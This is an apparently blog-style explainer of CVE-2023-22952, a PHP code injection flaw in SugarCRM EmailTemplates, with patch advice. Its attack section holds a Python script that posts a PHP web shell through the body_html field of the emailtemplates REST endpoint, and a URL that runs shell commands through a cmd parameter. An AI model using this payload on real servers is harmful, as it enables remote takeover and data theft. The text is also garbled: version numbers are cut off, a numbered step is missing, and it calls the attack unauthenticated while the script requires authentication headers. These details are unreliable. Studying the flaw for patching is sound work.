CVE-2023-22952 - Exploiting Code Injection in SugarCRM EmailTemplates Before 12.

If you’re running SugarCRM (before version 12., without Hotfix 91155), you need to sit down and check your systems—because you might be open to a *major* security risk. Let’s break down CVE-2023-22952, how attackers can inject custom PHP code using EmailTemplates, and what you need to do to stay safe.

What is CVE-2023-22952?

CVE-2023-22952 is a critical vulnerability in SugarCRM. The bug is found in how the application handles saving EmailTemplates. Because there’s *no input validation*, an attacker can craft a special web request that injects custom PHP code, leading to remote code execution on the server.

Impact:  
A remote, unauthenticated attacker could execute *any* PHP code they want on your server—stealing data, creating backdoors, or completely taking over.

How the Exploit Works

The issue exists because the EmailTemplates module fails to properly filter user input. Attackers can exploit this with a carefully crafted POST request. Here’s what typically happens:

1. The attacker creates a POST request to the /rest/v11/emailtemplates endpoint.

They place PHP code inside certain fields (like body_html).

3. When the template is saved, PHP code gets written directly into files or executed by the SugarCRM app.

Example Exploit Request

Let’s look at a simplified example of how someone could exploit this flaw. (Don’t try this on any system you do not own or have written permission to test!)

Here’s a Python code snippet using requests to send the malicious payload

import requests

url = "http://target-server/rest/v11/emailtemplates";
data = {
    "name": "EvilTemplate",
    "body_html": "<?php system($_GET['cmd']); ?>"
}

headers = {
    "Content-Type": "application/json",
    # Authentication headers need to be set here
}

resp = requests.post(url, json=data, headers=headers)
print(resp.text)

The key part is the body_html field: <?php system($_GET['cmd']); ?>

- If unpatched, this could let an attacker access the template and execute shell commands via the cmd parameter.

Proof of Concept (PoC)

- Some full PoCs are available in the wild, like on Exploit-DB or GitHub (use responsibly!).
- Warning: These exploits are dangerous and should only be used for defensive testing and learning.

Find the Endpoint:

The attacker targets /rest/v11/emailtemplates and checks if the server is vulnerable.

Trigger the Code:

The attacker accesses the template content in a way that SugarCRM executes the code (sometimes by previewing, sometimes by creating a new email with the template).

`

http://yourserver/path/to/template?cmd=whoami

How Bad Is It?

Short answer: It’s really bad. A successful exploit gives attackers complete control over the application server.

Patch ASAP!

- Upgrade to SugarCRM 12. or later.
- If you can’t upgrade, apply Hotfix 91155 right away.

References and Further Reading

- CVE-2023-22952 on NVD
- Official SugarCRM Security Advisory (SA-2023-002)
- Exploit-DB
- GitHub PoC
- Bleeping Computer article

Final Thoughts

CVE-2023-22952 teaches us once again: *never trust user input,* and always patch your apps—especially CRM software, which holds your most critical business data.

If you want to defend your systems, stay up to date and always monitor security advisories.  
If you’re defending SugarCRM, patch now, check for abuse, and keep watching for new vulnerabilities.

Timeline

Published on: 01/11/2023 09:15:00 UTC
Last modified on: 03/10/2023 17:15:00 UTC